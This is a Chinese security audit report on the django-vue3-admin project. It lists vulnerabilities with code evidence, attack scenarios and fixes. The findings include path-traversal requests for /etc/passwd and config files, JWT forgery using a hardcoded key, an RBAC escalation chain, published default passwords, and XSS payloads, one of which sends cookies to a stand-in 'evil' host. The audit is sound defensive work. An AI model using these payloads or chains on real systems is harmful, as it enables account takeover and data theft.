django-vue3-admin安全审计报告

10次阅读
没有评论

django-vue3-admin 安全审计报告

审计日期:2026-08-12
审计对象:django-vue3-admin(Django DRF 后端 + Vue3 前端 RBAC 后台管理系统)
审计目标:识别反序列化、命令执行/RCE、SQL 注入、未授权访问、硬编码凭据、XSS、SSRF、越权/IDOR 等可获取系统权限、系统数据、用户数据、应用数据的漏洞
审计方式:源码静态审计(人工逐行复核 + 六路分类并行核查),未进行实际网络利用


一、风险总览

等级 数量 说明
🔴 Critical 4 可直接获取系统最高权限 / 全量数据 / 任意文件读取
🟠 High 11 默认配置或低权限即可利用,影响面大
🟡 Medium 20 需特定条件(登录、权限、配置)触发
🟢 Low 8 影响有限 / 需组合利用 / 潜在隐患

高危漏洞速览

# 漏洞 等级 位置
C-1 硬编码 SECRET_KEY → JWT 伪造 / 全站认证绕过 Critical settings.py:31
C-2 未授权任意文件读取(路径穿越)serve_web_files Critical urls.py:68-80
C-3 RBAC 完全失效:任意登录用户自提权链 Critical role_menu_button_permission.py / menu_button.py / role.py
C-4 默认超管口令 admin123456 公开 + 三账号共享同一哈希 Critical system/fixtures/init_users.json
H-1 WebSocket 原始 JSON 转发 + dangerouslyUseHTMLString → 跨用户实时 XSS High websocketConfig.py:96-106 / App.vue:130
H-2 消息中心内容 v-html 存储型 XSS High web/.../userNews.vue:13
H-3 硬编码数据库/Redis 凭据 DVADMIN3 + DEBUG/ALLOWED_HOSTS 默认危险值 High conf/env.example.py
H-4 docker-compose 默认空 DB/Redis 口令 + 端口暴露 High docker-compose.yml
H-5 全链路弱口令方案(md5 预哈希 + 默认盐) High models.py:97 / backends.py:31
H-6 CORS 全开 + 允许凭据 High settings.py:202,204
H-7 任意文件上传 → 存储型 XSS(media 原样静态服务) High system/views/file_list.py
H-8 文件列表无属主过滤 + get_all 泄露全部文件 + /media/ 公开 High file_list.py / urls.py:124
H-9 消息中心越权(IDOR) High message_center.py:210-213
H-10 用户列表 show_all 绕过数据范围过滤 High user.py:414-442
H-11 部门信息 dept_info 匿名访问 High dept.py:165-213

二、Critical 级漏洞详情

C-1 硬编码 SECRET_KEY → JWT 伪造 / 全站认证绕过

  • 位置:backend/application/settings.py:31、:344
  • 等级:🔴 Critical

描述:
SECRET_KEY 以公开常量硬编码在源码中,不读取环境变量覆盖。SIMPLE_JWT 配置未设置 SIGNING_KEY/ALGORITHM,SimpleJWT 默认使用 settings.SECRET_KEY + HS256 签发/校验 access token。同一密钥还被 WebSocket(websocketConfig.py:62)与 SSE(sse_views.py:44)用于解码前端 token。

代码证据:

# settings.py:31
SECRET_KEY = "django-insecure--z8%exyzt7e_%i@1+#1mm=%lb5=^fx_57=1@a+_y7bg5-w%)sm"
# settings.py:344 SIMPLE_JWT 无 SIGNING_KEY / ALGORITHM → 默认用 SECRET_KEY
SIMPLE_JWT = {
    "ACCESS_TOKEN_LIFETIME": timedelta(minutes=1440),
    "REFRESH_TOKEN_LIFETIME": timedelta(days=1),
    "AUTH_HEADER_TYPES": ("JWT",),
    "ROTATE_REFRESH_TOKENS": True,
}
# websocketConfig.py:62 / sse_views.py:44
decoded = jwt.decode(token, settings.SECRET_KEY, algorithms=['HS256'])

攻击场景:

  1. 密钥在公开仓库已知;
  2. 构造 payload {"token_type":"access","exp":<未来>,"iat":<当前>,"jti":<随机>,"user_id":1}(user_id=1 为超管);
  3. 以公开 SECRET_KEY 用 HS256 签名 → 得到合法超管 JWT;
  4. 携带 Authorization: JWT <token> 调用任意 /api/system/* 接口;或伪造 sse?token=、WebSocket service_uid 订阅任意用户消息。

影响:认证完全失效、任意身份冒充、全站数据读写;可结合文件导入/上传实现 RCE。

修复建议:SECRET_KEY 从环境变量注入且每实例唯一;JWT 单独配置随机的 SIGNING_KEY;轮换当前已泄露密钥;收紧 WS/SSE 的 token 校验。


C-2 未授权任意文件读取(路径穿越)

  • 位置:backend/application/urls.py:68-80(路由注册于 :121)
  • 等级:🔴 Critical

描述:
path('web/<path:filename>', serve_web_files) 无任何认证/权限,将 URL 中 <path:filename> 直接拼入 os.path.join 读取并返回。<path:> 转换器不清理 ..,os.path.join 也不归一化路径,可逃逸 templates/web 读取服务器任意文件。docker-compose.yml 将后端 8000 端口直接暴露,生产 nginx 的 /api/ 代理不拦截 web/ 前缀。

代码证据:

# urls.py:68-80
def serve_web_files(request, filename):
    filepath = os.path.join(settings.BASE_DIR, 'templates', 'web', filename)
    if not os.path.exists(filepath):
        raise Http404("File does not exist")
    mime_type, _ = mimetypes.guess_type(filepath)
    with open(filepath, 'rb') as f:
        response = HttpResponse(f.read(), content_type=mime_type)
        return response
# urls.py:121
path('web/<path:filename>', serve_web_files, name='serve_web_files'),

攻击场景:

GET /web/../../conf/env.py             → 数据库/Redis 口令、SECRET_KEY 相关配置
GET /web/../../application/settings.py → SECRET_KEY 等
GET /web/../../../../etc/passwd        → 系统文件

影响:未授权任意文件读取 → 源码、密钥、凭据泄露,可直接组合为系统完全接管。

修复建议:移除该通用文件服务路由(前端资源由反向代理/静态目录提供);如保留须用 safe_join 校验最终路径位于白名单目录内,并加认证。


C-3 RBAC 完全失效:任意登录用户自提权链

  • 位置:
    • backend/dvadmin/system/views/role_menu_button_permission.py:161-311
    • backend/dvadmin/system/views/menu_button.py:88-129, 293-340
    • backend/dvadmin/system/views/role.py:120-138
  • 等级:🔴 Critical

描述:
角色-菜单-按钮授权相关自定义 action 全部只声明 permission_classes=[IsAuthenticated](在 action 上覆盖了 ViewSet 级的 CustomPermission),既未校验 is_superuser,也未校验授权对象是否属于请求者,任何已登录的低权限用户都可以给自己授任意权限。

代码证据:

# role_menu_button_permission.py:269-292 —— 给任意角色授任意按钮权限 + 任意数据范围
@action(methods=['PUT'], detail=False, permission_classes=[IsAuthenticated])
def set_role_menu_btn(self, request):
    roleId = data.get('roleId', None)      # 任意角色,无校验
    btnId = data.get('btnId', None)        # 任意按钮,无校验
    data_range = data.get('data_range', None) or 0   # 0-4,可设 3=全部数据
    RoleMenuButtonPermission.objects.create(role_id=roleId, menu_button_id=btnId, data_range=data_range)

# role_menu_button_permission.py:296-310 —— 改任意授权行的 data_range
@action(methods=['PUT'], detail=False, permission_classes=[IsAuthenticated])
def set_role_menu_btn_data_range(self, request):
    instance = RoleMenuButtonPermission.objects.get(id=data.get('role_menu_btn_perm_id'))
    instance.data_range = data.get('data_range')   # 任意行任意数据范围

# role_menu_button_permission.py:172-173 / 225-226 —— 授/撤任意菜单与批量按钮
@action(methods=['PUT'], detail=False, permission_classes=[IsAuthenticated])
def set_role_menu(self, request): ...
@action(methods=['PUT'], detail=False, permission_classes=[IsAuthenticated])
def batch_set_role_menu_btn(self, request): ...

# menu_button.py:293-340 —— 任意登录用户可注册任意 API 路径的按钮
@action(methods=['post'], detail=False, permission_classes=[IsAuthenticated])
def scan_batch_create(self, request):
    MenuButton.objects.bulk_create([MenuButton(menu_id=..., api=btn.get('path',''), method=method_int) ...])
# menu_button.py:88-129  batch_create 同理

# role.py:120-138 —— 任意用户加入/移出任意角色
@action(methods=['PUT'], detail=True, permission_classes=[IsAuthenticated])
def set_role_users(self, request, pk):
    role = Role.objects.get(pk=pk)          # 任意角色
    if direction == "left": role.users_set.remove(*movedKeys)
    else: role.users_set.add(*movedKeys)

攻击场景(完整提权链):

  1. 低权限用户登录;
  2. 用 scan_batch_create/batch_create 为自己角色注册 api=/api/system/user/(或任意路径)的 MenuButton;
  3. 用 set_role_menu_btn 把自己角色与该按钮绑定并设 data_range=3(全部数据);
  4. 或直接用 set_role_users 把自己加入 id=管理员角色;
  5. 之后即可访问 GET /api/system/user/ 等全量数据,乃至 set_role_menu 修改任意角色菜单完成横向扩张。

影响:RBAC 权限模型完全失效,水平/垂直越权,普通用户可直达超管级数据访问。

修复建议:所有授权 action 改为 [IsAuthenticated, CustomPermission] 并校验 is_superuser;对 roleId/btnId 做归属与数据范围校验;set_role_users 仅限超管/拥有该角色管理权限者。


C-4 默认超管口令 admin123456 公开 + 三个默认账号共享同一口令哈希

  • 位置:backend/dvadmin/system/fixtures/init_users.json:26,46,67;init_systemconfig.json:83-84;README.md:31,126,143
  • 等级:🔴 Critical

描述:
python manage.py init(docker 部署时自动执行)写入 superadmin、admin、test 三个账号,共享完全相同的口令哈希,对应公开演示口令 admin123456(README 明确记载,哈希经离线破解确认为 md5("admin123456") 后 pbkdf2)。系统配置默认密码同为 admin123456。未修改默认口令的部署可被直接登录超管。

代码证据:

// init_users.json —— 三账号同一哈希
{"pk": 1, "fields": {"username": "superadmin", "password": "pbkdf2_sha256$260000$g17x5wlSiW1FZAh1Eudchw$ZeSAqj3Xak0io8v/pmPW0BX9EX5R2zFXDwbbD68oBFk=", ...}}
{"pk": 2, "fields": {"username": "admin",     "password": "pbkdf2_sha256$260000$g17x5wlSiW1FZAh1Eudchw$ZeSAqj3Xak0io8v/pmPW0BX9EX5R2zFXDwbbD68oBFk=", ...}}
{"pk": 3, "fields": {"username": "test",      "password": "pbkdf2_sha256$260000$g17x5wlSiW1FZAh1Eudchw$ZeSAqj3Xak0io8v/pmPW0BX9EX5R2zFXDwbbD68oBFk=", ...}}
// init_systemconfig.json:83-84
"key": "default_password", "value": "admin123456"

攻击场景:
POST /api/login/ {"username":"superadmin","password":"admin123456"}(未开验证码)或经 /api/token/(LOGIN_NO_CAPTCHA_AUTH=True 默认,见 M-14)直接获得超管 JWT。另见 M-9:GET /api/init/settings/ 未授权直接返回 base.default_password。

影响:默认安装即被接管;三账号共享哈希导致口令碰撞、账号间互登。

修复建议:首次启动强制改密/随机生成初始口令;移除共享哈希;禁止 demo 口令进生产。


三、High 级漏洞详情

H-1 WebSocket 原始 JSON 转发 + dangerouslyUseHTMLString → 跨用户实时 XSS

  • 位置:backend/application/websocketConfig.py:96-106(MegCenter.receive);backend/web/src/App.vue:130-133;路由 ws_routing.py:6
  • 等级:🟠 High

描述:
后端 MegCenter.receive 把客户端发来的任意 JSON 原样 group_send 给该消息的全部目标用户——不校验发送者与消息关系、不重建消息结构、不清洗内容。前端 App.vue 的 wsReceive 对 contentType === 'Content' 的推送用 ElMessageBox.confirm(data.content, data.notificationTitle, { dangerouslyUseHTMLString: true }) 渲染原始 HTML。connect() 仅校验 JWT 有效性。组合形成任意登录用户向在线管理员/用户投递并执行任意 JS 的跨用户实时 XSS。

代码证据:

# websocketConfig.py:96-106
async def receive(self, text_data):
    text_data_json = json.loads(text_data)
    message_id = text_data_json.get('message_id', None)
    user_list = await _get_message_center_instance(message_id)   # 任意 message_id 的目标用户,无发送者校验
    for send_user in user_list:
        await self.channel_layer.group_send("user_"+str(send_user), {'type':'push.message', 'json': text_data_json})
// App.vue:130-133
} else if (data.contentType === 'Content') {
  ElMessageBox.confirm(data.content, data.notificationTitle, {
    ... dangerouslyUseHTMLString: true, ...

攻击场景:
攻击者用有效 JWT 连接 ws://host/ws/<token>/;创建(或复用/枚举)一条 target_user 含受害者的消息拿到 message_id;发送 {"message_id":<id>,"contentType":"Content","content":"<img src=x onerror=fetch('//evil/?c='+document.cookie)>","notificationTitle":"x","notificationButton":"OK","path":"/home"}。服务端将该 JSON 原样推给受害者组,受害者在线即弹出消息框并执行 payload → 窃取会话/以管理员身份操作。另注意 _get_message_center_instance(message_id) 对任意 message_id 返回目标用户列表,攻击者可枚举复用。

影响:跨用户/存储型 XSS 实时投递变体;会话接管、横向提权。

修复建议:receive 改为从数据库重建消息并校验发送者权限;前端移除 dangerouslyUseHTMLString 或对 content 做白名单消毒(DOMPurify)。


H-2 消息中心内容 v-html 存储型 XSS

  • 位置:backend/web/src/layout/navBars/breadcrumb/userNews.vue:13(数据源 :44-54);后端 backend/dvadmin/system/models.py:661、views/message_center.py:156-193
  • 等级:🟠 High

描述:
顶部导航"最新消息"下拉用 v-html="v.content" 渲染消息内容。消息内容由 wangEditor 富文本产出(原始 HTML),后端 MessageCenterCreateSerializer 存储时不做任何清洗(fields="__all__",content 为 TextField),全项目无 DOMPurify。任何有消息创建权限的登录用户(target_type=3 系统通知可面向全部用户含超管)即可植入 XSS;通过 REST 接口 POST /api/system/message_center/ 提交则无需经过编辑器过滤。

代码证据:

<!-- userNews.vue:13 -->
<div v-html="v.content"></div>
# message_center.py MessageCenterCreateSerializer 无 content 清洗
# models.py:661 content = models.TextField(...)

攻击场景:POST /api/system/message_center/ 提交 content="<img src=x onerror=alert(document.cookie)>",target_type=3 → 管理员打开导航下拉即执行 JS。

影响:存储型 XSS,窃取 JWT(localStorage)、以受害者身份操作,横向/纵向提权。

修复建议:v-html 改为文本渲染或经 DOMPurify 消毒;后端对 content 白名单清洗。


H-3 硬编码数据库/Redis 凭据 + 默认危险配置被 Docker 烧录

  • 位置:backend/conf/env.example.py:24,33,39,43,48;docker_env/django/Dockerfile、docker_env/celery/Dockerfile(cp env.example.py env.py)
  • 等级:🟠 High

描述:
默认数据库口令与 Redis 口令均为 DVADMIN3,且 DEBUG=True、ALLOWED_HOSTS=["*"]、LOGIN_NO_CAPTCHA_AUTH=True。Dockerfile 在构建时直接把 env.example.py 复制为运行时 env.py。未修改配置的部署即使用公开口令与危险默认值运行。

代码证据:

# env.example.py
DATABASE_PASSWORD = 'DVADMIN3'
REDIS_PASSWORD = 'DVADMIN3'
DATABASE_USER = "root"
DEBUG = True
ALLOWED_HOSTS = ["*"]
LOGIN_NO_CAPTCHA_AUTH = True

影响:数据库/Redis 口令公开;DEBUG=True 泄露堆栈/SQL/配置;ALLOWED_HOSTS=["*"] 放大 Host 头攻击面。

修复建议:强制从环境变量注入,示例配置不得进生产;DEBUG 生产必须 False。


H-4 docker-compose 默认空数据库/Redis 口令 + 端口暴露 + privileged

  • 位置:docker-compose.yml:53,58-60,98-101;docker_env/redis/redis.conf:3,9-10,39-40
  • 等级:🟠 High

描述:
MySQL root 口令与 Redis 口令均来自 .env 变量,跳过 init.sh 时为空;3306:3306、6379:6379 暴露到宿主机;mysql/redis 容器 privileged: true。redis.conf 中 bind、protected-mode、requirepass 全部被注释(监听所有接口、无认证)。

代码证据:

# docker-compose.yml
MYSQL_ROOT_PASSWORD: ${MYSQL_PASSWORD}
ports: - "3306:3306"
command: /bin/sh -c "... redis-server ... --requirepass ${REDIS_PASSWORD}"
# docker_env/redis/redis.conf
# bind 127.0.0.1 -::1
# protected-mode yes
# requirepass dvadmin

攻击场景:docker-compose up -d 后,MySQL root 空口令、Redis 无口令且对外监听 → mysql -h <ip> / redis-cli -h <ip> 直接连接,拖库 / 读写缓存(含 JWT、会话)。

影响:数据库/Redis 未授权访问,数据泄露与破坏。

修复建议:强制生成强口令;数据库/Redis 仅绑定内网;移除 privileged;开启 protected-mode 与 requirepass。


H-5 全链路弱口令方案(md5 预哈希 + 默认盐)

  • 位置:backend/dvadmin/system/models.py:97-99;backend/dvadmin/utils/backends.py:31-34;backend/dvadmin/system/views/user.py:85-88,345;backend/dvadmin/utils/string_util.py:30
  • 等级:🟠 High

描述:
所有密码先 md5(明文) 再交 Django pbkdf2;登录时先试明文、失败再试 md5(明文)。has_md5 使用硬编码盐 123456。内部 md5 使 pbkdf2 拉伸收益被抵消,数据库泄露后哈希可被快速爆破;"明文/md5 双路径"还增加认证复杂度。

代码证据:

# models.py:97-99
def set_password(self, raw_password):
    if raw_password:
        super().set_password(hashlib.md5(raw_password.encode(encoding="UTF-8")).hexdigest())
# backends.py:31-34
verify_password = check_password(password, user.password)
if not verify_password:
    password = hashlib.md5(password.encode(encoding='UTF-8')).hexdigest()
    verify_password = check_password(password, user.password)
# string_util.py:30
def has_md5(str, salt='123456'):

影响:口令哈希强度低于标准 pbkdf2;默认口令可离线爆破(见 C-4);密码体系设计不安全。

修复建议:删除 md5 预哈希与双路径,统一 make_password(明文);改用强 KDF(pbkdf2/bcrypt/argon2);移除默认盐。


H-6 CORS 全开 + 允许携带凭据

  • 位置:backend/application/settings.py:202,204
  • 等级:🟠 High

描述:CORS_ORIGIN_ALLOW_ALL = True 且 CORS_ALLOW_CREDENTIALS = True,任意来源浏览器脚本可携带 Cookie 发起跨域请求并读取响应(SessionAuthentication 生效面)。

代码证据:

CORS_ORIGIN_ALLOW_ALL = True
CORS_ALLOW_CREDENTIALS = True

影响:跨站请求伪造 / 数据窃取风险放大(配合 SessionAuthentication 与可伪造 JWT)。

修复建议:改为明确来源白名单;无 Cookie 需求时 CORS_ALLOW_CREDENTIALS=False。


H-7 任意文件上传 → 存储型 XSS

  • 位置:backend/dvadmin/system/views/file_list.py(FileSerializer.create);backend/dvadmin/system/models.py:463-474(media_file_name)
  • 等级:🟠 High

描述:上传接口对扩展名、Content-Type、magic bytes 均无校验;mime_type 取客户端可控的 file.content_type;文件名保留原始扩展名。上传的 HTML/SVG 经 /media(nginx alias /backend/media 或 Django static())以原类型同源返回。

代码证据:

validated_data['mime_type'] = file.content_type   # 客户端可控
# models.py media_file_name 保留原扩展名
return os.path.join("files", h[:1], h[1:2], f"{safe_basename}_{timestamp}{ext.lower()}")

攻击场景:上传 x.html 含 <script>...</script> → media/files/<md5>/x.html_<ts>.html 同源以 text/html 返回 → 后台域内执行 JS,窃取管理员会话。

影响:存储型 XSS,会话窃取、仿冒页面、横向提权。

修复建议:扩展名+Content-Type+magic bytes 三重校验;/media 返回加 X-Content-Type-Options:nosniff 与 Content-Disposition:attachment;文件名白名单重命名。


H-8 文件列表无属主过滤 + get_all 泄露全部文件 + /media/ 公开静态服务

  • 位置:backend/dvadmin/system/views/file_list.py:116-124(get_all);backend/application/urls.py:124(static(MEDIA_URL,...))
  • 等级:🟠 High

描述:
FileViewSet.queryset = FileList.objects.all() 无属主/数据范围过滤;get_all 直接 self.get_queryset() 返回全部文件(绕过 filter_queryset)。/media/ 由 Django static() 静态服务,任何人(含匿名)知道路径即可下载。

代码证据:

# file_list.py:116-124
@action(methods=['GET'], detail=False)
def get_all(self, request):
    data1 = self.get_serializer(self.get_queryset(), many=True).data   # 全部文件
# urls.py:124
+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)

攻击场景:任意登录用户 GET /api/system/file/get_all/ 枚举全部文件与 URL → 下载他人导出的 Excel(含手机号/邮箱等 PII)、头像、导入文件;/media/ 匿名可直接下载。

影响:敏感文件批量泄露;文件无 ACL 保护。

修复建议:get_queryset 加 creator=self.request.user(超管除外);get_all 走 filter_queryset;/media 由鉴权路由或签名的私有下载端点提供。


H-9 消息中心越权(IDOR)

  • 位置:backend/dvadmin/system/views/message_center.py:205-231
  • 等级:🟠 High

描述:get_queryset 仅 action == 'list' 按 creator 过滤;retrieve/destroy/update/get_by_ids/multiple_delete 使用 MessageCenter.objects.all()。retrieve 还会把任意消息标记为已读并触发 WebSocket 推送。

代码证据:

def get_queryset(self):
    if self.action == 'list':
        return MessageCenter.objects.filter(creator=self.request.user.id).all()
    return MessageCenter.objects.all()     # retrieve/destroy/update 等暴露全部
def retrieve(self, request, *args, **kwargs):
    pk = kwargs.get('pk'); user_id = self.request.user.id
    MessageCenterTargetUser.objects.filter(users__id=user_id, messagecenter__id=pk).first()...  # 标记已读
    instance = self.get_object()           # 任意消息

影响:横向越权读/删任意消息与受众信息,破坏消息中心完整性。

修复建议:get_queryset 全部 action 按 creator 或 target_user 含当前用户过滤;对象级权限校验。


H-10 用户列表 show_all 参数绕过数据范围过滤

  • 位置:backend/dvadmin/system/views/user.py:414-452
  • 等级:🟠 High

描述:show_all=1 且传 dept 时直接 Users.objects.filter(*q_obj, dept_id__in=all_did),绕过 filter_queryset(DataLevelPermissionMargeFilter 不生效);该分支未排除超管,超管信息同样暴露。int(show_all) 对非数字抛 ValueError → 500。

代码证据:

if int(show_all):
    all_did = [dept_id]
    ...
    queryset = Users.objects.filter(*q_obj, dept_id__in=all_did)   # 绕过数据权限

影响:数据范围失效,低权限用户枚举越级用户(含超管)数据。

修复建议:删除该分支,统一走 filter_queryset;show_all 类型校验。


H-11 部门信息 dept_info 匿名访问

  • 位置:backend/dvadmin/system/views/dept.py:165-213
  • 等级:🟠 High

描述:dept_info action 显式 permission_classes=[],匿名可访问,返回部门名称、负责人、描述、男女/未知用户数、子部门及人数。

代码证据:

@action(methods=['GET'], detail=False, permission_classes=[])
def dept_info(self, request):
    users = Users.objects.filter(dept_id__in=all_did)
    data = {'dept_name': ..., 'dept_user': users.count(), 'owner': ...}

攻击场景:未登录 GET /api/system/dept/dept_info/?dept_id=1&show_all=1。

影响:组织架构、人员规模等敏感信息匿名泄露(辅助钓鱼/社工)。

修复建议:改回 [IsAuthenticated, CustomPermission]。


四、Medium 级漏洞详情

# 漏洞 位置 说明
M-1 Excel 导入 url 参数路径穿越(受限任意文件读取) import_export.py:22-23 / import_export_mixin.py:153 客户端控制 url 拼 os.path.join(BASE_DIR, url) 读任意 xlsx,可跨目录
M-2 Excel 导出公式注入(CSV/Spreadsheet Injection) import_export_mixin.py(export/update_template)、system/tasks.py:59-75 以 = + - @ 开头的字段原样写入单元格,打开即触发外带
M-3 下载中心未认证 + 匿名可写入 download_center.py:47 permission_classes=[],匿名可 create 上传到 media
M-4 操作日志存储完整请求体(敏感明文 + 存储 XSS 面) utils/middleware.py:46-73 仅掩码键名恰为 password 的值,其余 token/secret 明文落库
M-5 登录用户枚举 + 失败锁定 DoS system/views/login.py:84-87,127-139 账号不存在/密码错误消息可区分;5 次失败永久锁定 is_active=False,匿名可锁全站账号
M-6 自定义过滤后端 $ 前缀 iregex 正则注入/ReDoS 预言机 utils/filters.py:288-298 field=$regex → ORM iregex(MySQL REGEXP),盲注式字段提取 + ReDoS
M-7 动态模型表数据查询可泄露任意表数据 system_config.py:211-238(get_table_data) 按配置 setting.table 动态 model.objects.values(),可含 users 表密码哈希
M-8 SSE 未授权端点 + 硬编码密钥解码 application/sse_views.py 无认证,?token= 伪造任意 user_id 查询未读消息数;每连接每秒轮询 DB
M-9 系统配置表设计缺陷:云 AK/SK 存于公开接口可读表 system_config.py(InitSettings)、aliyunoss.py/tencentcos.py 仅靠 status 标志过滤,配置启用即对匿名公开
M-10 认证后系统配置接口返回全部配置明文(含云 AK/SK、SMTP) system_config.py(fields="__all__") 拥有系统配置接口权限的非超管即可读出明文密钥
M-11 开发版 JWT 登录接口无验证码 login.py:210-237、urls.py:118 /api/token/ 绕过验证码,配合默认口令脚本化登录/爆破
M-12 菜单上移/下移匿名可写 menu.py:173-201 move_up/move_down permission_classes=[],未登录可改菜单排序
M-13 multiple_delete/get_by_ids 绕过数据范围过滤(IDOR) utils/viewset.py:148-166 直接 self.get_queryset() 未 filter_queryset,批量读/删其他部门数据
M-14 登录锁定可被利用为账号 DoS + 默认无验证码 login.py:127-131、env.example.py:43 5 次失败即锁定;LOGIN_NO_CAPTCHA_AUTH=True 默认关闭验证码
M-15 缺失 Secure Cookie/TLS 强制 settings.py(缺失项) 无 SESSION_COOKIE_SECURE/CSRF_COOKIE_SECURE/HSTS
M-16 Redis 默认无认证、监听全接口 docker_env/redis/redis.conf:3,9-10,39-40 bind/protected-mode/requirepass 全部注释
M-17 独立 MySQL 脚本硬编码 root 口令 q1w2e3r4 docker_env/mysql/launch.sh:7 3306 暴露 + root 口令公开
M-18 弱 JWT 策略 + Swagger/接口文档 DEBUG 下匿名公开 settings.py:344-351、urls.py:45,57 24h 访问令牌;DEBUG=True 默认时 swagger/redoc 全匿名
M-19 django-restql ?query={...} 注入面 + 任意字段排序泄露 + Django CVE-2026-1312 viewset.py:30,41、requirements.txt:1 QueryArgumentsMixin 将任意键值注入 request.GET,波及全部 20 个 ViewSet;当前被字段白名单拦截,但 ordering_fields='__all__' 可排序任意字段做信息推断;Django 4.2.14 未修 order_by 注入(CVE-2026-1312)
M-20 原生 SQL f-string 标识符拼接(潜在注入) util/currency.py:33-74 key/parent/joint/db_table 直接拼入 WITH RECURSIVE,仅叶值参数化;当前仅硬编码调用,新增调用方传请求数据即变 SQLi

M-1 补充证据:

# import_export_mixin.py:153
data = import_to_data(request.data.get("url"), import_field_dict, m2m_fields)
# import_export.py:22-23
file_path_dir = os.path.join(settings.BASE_DIR, file_url)   # 用户可控
workbook = openpyxl.load_workbook(file_path_dir)

M-10 补充证据:

class SystemConfigSerializer(CustomModelSerializer):
    class Meta:
        model = SystemConfig
        fields = "__all__"     # 含 value/setting,密钥明文

M-13 补充证据(dvadmin/utils/viewset.py):

def multiple_delete(self, request, *args, **kwargs):
    ...
    self.get_queryset().filter(id__in=keys).delete()   # 未 filter_queryset
def get_by_ids(self, request):
    queryset = self.get_queryset().filter(id__in=ids)  # 未 filter_queryset

M-17 补充证据:

# docker_env/mysql/launch.sh:7
docker run -p 3306:3306 --privileged=true ... -e MYSQL_ROOT_PASSWORD=q1w2e3r4 -d mysql:5.7

M-19 补充证据:

# viewset.py:30,41
class CustomModelViewSet(ModelViewSet, ImportSerializerMixin, ExportSerializerMixin, QueryArgumentsMixin):
    ordering_fields = '__all__'   # 任意模型字段可排序(含 password/is_superuser 等)
    filter_fields = '__all__'
# django_restql/mixins.py —— 库行为:把 query 参数注入 request.GET
params = request.GET.copy(); params.update(query_params); request.GET = params
# requirements.txt:1 —— 未修复 CVE-2026-1312(order_by 注入)的版本
Django==4.2.14   # 修复版本 ≥4.2.28 / 5.2.11

M-20 补充证据:

# util/currency.py:33-41 —— key/parent/db_table 直接 f-string 拼接,仅值参数化
sql = f"""
WITH RECURSIVE children AS (
    SELECT id, {key} AS param_{key} FROM {instance.__class__._meta.db_table}
    WHERE {parent}_id = %s UNION ALL
    SELECT a.id, a.{key} ... INNER JOIN children b ON a.{parent}_id = b.id
) SELECT param_{key} FROM children;
"""
with connection.cursor() as cursor:
    cursor.execute(sql, [getattr(instance, key)])   # 仅此值是绑定参数
# 当前调用点 filters.py:270-273 传硬编码 ('parent','id'),recursion_up_* 无调用

五、Low 级漏洞详情

# 漏洞 位置 说明
L-1 登录 IP 伪造 + 向第三方发送 IP utils/request_util.py:34-45,191-202 X-Forwarded-For.split(',')[-1] + nginx set_real_ip_from 0.0.0.0/0;IP 未经校验写日志并 POST 到 ip.django-vue-admin.com
L-2 eval() 死代码 RCE 隐患 utils/git_utils.py:56 对 git 日志逐行 eval(item),当前无调用方
L-3 初始化流程 exec() 拼接 utils/core_initialize.py:80-85、management/commands/init.py:39,48 键名/m2m 拼接执行,当前仅由 fixture 驱动
L-4 Host 头回显生成 URL file_list.py:28-32、download_center.py:20-24 request.get_host() 拼绝对 URL,Host 可控时指向恶意域名
L-5 登录页 login.help_url 可配 javascript: URL web/src/views/system/login/index.vue:61 配置投毒后匿名访客点击执行 JS;菜单 isLink 存在 open-redirect 面
L-6 云存储对象键注入 tencentcos.py:30、aliyunoss.py:34 文件名直作对象 Key,../ 可键注入/覆盖
L-7 init_crud 匿名接口泄露模型 schema utils/crud_mixin.py:148-153(Role 等 ViewSet 继承) permission_classes=[AllowAny] 返回模型列配置
L-8 接口白名单全局放行机制风险 utils/permission.py:106-128 白名单对全登录用户放行;enable_datasource=False 条目绕过数据范围;正则未转义

六、SQL 注入专项结论(全量静态核查)

  • 未发现可直接利用的经典 SQL 注入:所有 ORM 查询均参数化(filter/Q),未使用 raw()/extra();现存原始 SQL 辅助函数(util/currency.py、utils/middleware.py:135、settings.py:120-121)当前仅以硬编码标识符调用。
  • 存在两条值得重视的注入面(见 M-19 / M-20):
    • django-restql 的 QueryArgumentsMixin(viewset.py:30)把 ?query={...} 解析出的任意键值直接注入 request.GET,波及全部 20 个 CustomModelViewSet;目前被 CustomDjangoFilterBackend 的字段名白名单(filters.py:309-316,475-511)+ 值参数化拦截,但配合 ordering_fields='__all__'(viewset.py:41)可做字段级排序信息泄露(如按 password/is_superuser 排序推断相对顺序);且项目依赖 Django==4.2.14 未修复 CVE-2026-1312(order_by 注入,修复版本 4.2.28/5.2.11/6.0.2)——当前无 FilteredRelation 尚不可达,但该组合是触发条件,是本次审计最重要的依赖升级项。
    • util/currency.py:33-74 用 f-string 直接拼接 key/parent/joint/db_table 构建 WITH RECURSIVE 原生 SQL,仅叶值参数化;当前仅被 filters.py:270-273 以硬编码 ('parent','id') 调用、recursion_up_* 无人调用,属潜在漏洞。
  • 其他核查项:CustomDjangoFilterBackend 的 $ 前缀映射 iregex(见 M-6)可做正则注入/盲注预言机与 ReDoS;get_table_data 动态字段名(system_config.py:225-234)的 'field' 来自 SystemConfig 配置 JSON,需管理员写权限才可触发;DataLevelPermissionsFilter 用攻击者可控的 URL path kwarg 作 re.sub pattern(filters.py:152-154,220-222)仅影响权限路径归一化,非 SQL。
  • 反序列化专项:未发现 pickle/yaml/shelve/dill/joblib 等不安全反序列化代码路径。

七、攻击链总结

  1. 默认部署接管链(无需任何账号):
    GET /api/init/settings/(未授权)→ base.default_password=admin123456 → POST /api/login/(或 /api/token/)登录 superadmin → 超管接管。
  2. 完全认证绕过链(无需账号、密钥公开):
    读取公开 SECRET_KEY → 离线伪造超管 JWT → 以超管身份调用所有 API。
  3. 任意文件读取链(无需账号):
    GET /web/../../conf/env.py → 数据库/Redis 口令、SECRET_KEY → 直连数据库 / 伪造 JWT / 读取任意文件。
  4. RBAC 提权链(需登录):
    低权登录 → scan_batch_create+set_role_menu_btn(data_range=3)或 set_role_users 加入管理员角色 → 全量数据访问。
  5. 跨用户 XSS → 会话劫持链(需低权账号):
    WebSocket 投毒(H-1)或消息 v-html(H-2)或上传 HTML(H-7)→ 管理员触发 → 窃取 JWT/会话 → 提权。

八、修复优先级建议

优先级 措施
P0 更换/环境变量注入 SECRET_KEY 与 JWT SIGNING_KEY;移除或加固 serve_web_files
P0 修复 RBAC 授权 action 权限(C-3);生产禁用默认口令并强制改密;init/settings 排除敏感配置
P0 数据库/Redis 口令环境变量注入;修复 docker-compose/redis/mysql 脚本默认空口令与端口暴露
P1 WebSocket 推送重建消息并校验发送者;前端移除 dangerouslyUseHTMLString;消息内容消毒
